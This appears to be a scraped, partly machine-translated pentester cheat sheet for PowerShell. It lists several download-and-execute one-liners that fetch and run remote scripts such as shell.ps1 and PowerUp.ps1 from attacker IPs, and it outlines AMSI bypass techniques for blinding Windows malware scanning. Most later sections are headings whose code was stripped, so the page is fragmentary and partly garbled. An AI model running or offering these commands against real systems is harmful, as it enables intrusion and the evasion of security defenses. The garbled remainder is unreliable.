Basic PowerShell for Pentesters
默认 PowerShell 位置
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell开始的基本 PowerShell 命令
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>下载 & 执行
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]使用 AMSI Bypass 后台下载并执行
在Linux中使用b64
下载
System.Net.WebClient
Invoke-WebRequest
调用-WebRequest
Wget
Wget
BitsTransfer
位传输
Base64 Kali & EncodedCommand
Base64 Kali & EncodedCommand
启用 WinRM(远程 PS)
禁用 Defender
AMSI bypass
amsi.dll 被加载到您的进程中,并具有任何应用程序与之交互所需的导出函数。由于它被加载到您控制的进程的内存空间中,您可以通过覆盖内存中的指令来更改其行为。使其无法检测任何内容。
因此,您的 AMSI 绕过的目标是覆盖内存中该 DLL 的指令,使检测无效。
AMSI 绕过生成器网页: https://amsi.fail/
AMSI Bypass 2 - Managed API Call Hooking
查看此帖子以获取详细信息和代码。简介:
这种新技术依赖于对.NET方法的API调用挂钩。事实证明,.NET方法需要在内存中编译为本机机器指令,最终看起来非常类似于本机方法。这些编译方法可以被挂钩以更改程序的控制流。
执行.NET方法的API调用挂钩的步骤如下:
确定要挂钩的目标方法
定义一个与目标具有相同函数原型的方法
使用反射查找方法
确保每个方法都已编译
找到内存中每个方法的位置
用指向我们恶意方法的指令覆盖目标方法
AMSI Bypass 3 - SeDebug Privilege
按照此指南和代码,您可以看到,具有足够的权限来调试进程时,可以生成一个powershell.exe进程,对其进行调试,监视其何时加载amsi.dll并将其禁用。
AMSI Bypass - 更多资源
PS-History
查找更新的文件
选项:CreationTime,CreationTimeUtc,LastAccessTime,LastAccessTimeUtc,LastWriteTime,LastWriteTimeUtc
获取权限
操作系统版本和热补丁
环境
其他连接的驱动器
回收站
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
域侦察
PowerView/SharpView用户
将安全字符串转换为明文
或者直接从 XML 解析:
SUDO
SUDO
用户组
剪贴板
进程
服务
从安全字符串获取密码
计划任务
网络
端口扫描
接口
防火墙
路由
ARP
ARP
主机
Ping
Ping
SNMP
将SDDL字符串转换为可读格式
最后更新于